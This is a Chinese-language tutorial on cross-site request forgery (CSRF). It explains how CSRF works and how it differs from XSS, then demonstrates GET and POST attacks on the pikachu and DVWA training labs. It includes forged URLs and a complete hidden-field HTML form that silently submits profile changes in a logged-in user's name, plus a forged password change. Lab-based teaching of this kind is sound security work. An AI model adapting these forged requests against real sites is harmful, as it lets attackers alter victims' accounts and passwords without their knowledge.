CSRF漏洞
1.CSRF原理
CSRF叫做跨域请求伪造(Cross-Site Request Forgery)是一种诱骗用户中技以此来伪造用户请求来对用户数据进行恶意修改的攻击手段。CSRF的影响可以做到以用户的名义修改个人信息,修改密码甚至财产操作等。其攻击原理就是在已知网站请求地址并且用户登录状态下,诱骗用户来获取到用户身份认证信息,然后代替用户去完成已知请求地址的网站功能部分。
CSRF和XSS的区别就是,XSS是以攻击者的身份获取用户信息从而达成某种目标,CSRF是以用户的身份在用户不知情的情况下完成一些操作来达成目标。
CSRF漏洞发生前提:
1.登录信任网站A,并在本地生成Cookie。
2.在不退出的情况下,访问危险网站B。
如果不满足以上两个条件中的一个,就不会受到CSRF的攻击。
2.CSRF的分类和攻击
CSRF可以分为GET型和POST型。GET型的CSRF攻击是请求数据以GET方式发送给网站后端,通过对URL地址的修改来实施攻击。POST型的CSRF是通过伪造表单来修改用户请求的。
下面以pikachu来演示:
GET型CSRF
我们登录之后是如下界面,可以修改个人信息,我们现在先正常修改个人信息:
我们现在通过抓包获取到url请求地址:
http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=nv&phonenum=123123&add=uk&email=lili%40pikachu.com&submit=submit
然后对URL地址进行修改变成我们操作之后的URL:
http://localhost/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=girl&phonenum=122342343&add=cn&email=lili%40pikachu.com&submit=submit
然后我们在用户登录的情况下欺骗用户点击url:
POST型CSRF
POST型CSRF我们想要修改用户个人信息的话,就要去伪造页面了,我们先抓包抓到数据:
然后我们使用如下代码进行伪造:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST" id="myForm">
<input type="hidden" name="sex" value="nvnv" />
<input type="hidden" name="phonenum" value="123456" />
<input type="hidden" name="add" value="canada" />
<input type="hidden" name="email" value="lili@pikachu.com" />
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="submit">
</form>
</body>
</html>
然后我们在用户登录的情况下欺骗用户进入这个页面:
实战修改密码:
我们首先登录DVWA,看到有一个修改密码页面,我们抓包获取数据之后尝试伪造:
然后我们欺骗用户点击:
发现密码已经被修改。